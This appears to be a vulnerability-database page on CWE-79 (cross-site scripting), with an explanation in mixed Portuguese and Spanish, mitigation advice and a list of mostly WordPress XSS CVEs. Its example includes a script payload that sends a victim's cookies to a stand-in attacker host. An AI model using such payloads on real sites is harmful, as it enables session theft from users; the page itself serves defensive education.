Fallos del tipo CWE-79

29.800 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-29044MEDIUMDocuments operations could be manipulated to contain invalid data types, possibly script code. Script code could be injected to an operationEPSS 0.4%CVE-2025-23893MEDIUMWordPress GMap Shortcode plugin <= 2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23807MEDIUMWordPress Spiderpowa Embed PDF plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-29045MEDIUMDocuments operations, in this case "drawing", could be manipulated to contain invalid data types, possibly script code. Script code could beEPSS 0.4%CVE-2023-44242MEDIUMWordPress Images Slideshow by 2J Plugin <= 1.3.54 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-23830MEDIUMWordPress JB Horizontal Scroller News Ticker plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23816MEDIUMWordPress Metaphor Widgets plugin <= 2.4 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23791MEDIUMWordPress Horizontal Line Shortcode Plugin <= 1.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-30871HIGHWordPress Stock Exporter for WooCommerce Plugin <= 1.1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-40214HIGHWordPress Business Pro Theme <= 1.10.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-41355MEDIUMphpipam 1.6 is vulnerable to Cross Site Scripting (XSS) via /app/tools/request-ip/index.php.EPSS 0.4%CVE-2023-27419HIGHWordPress Viable blog Theme <= 1.1.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-45632HIGHWordPress Video Player Plugin <= 1.5.22 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-41872HIGHWordPress WoodMart Theme <= 7.2.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-30475HIGHWordPress Coupon Affiliates Plugin <= 5.4.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-30785HIGHWordPress Video Grid Plugin <= 1.21 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-27613HIGHWordPress Forms Ada Plugin <= 1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-29171HIGHWordPress Magic Post Thumbnail Plugin <= 4.1.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-22710HIGHWordPress Return and Warranty Management System for WooCommerce Plugin <= 1.2.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-46799HIGHWordPress Easy Testimonial Slider and Form Plugin <= 1.0.15 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%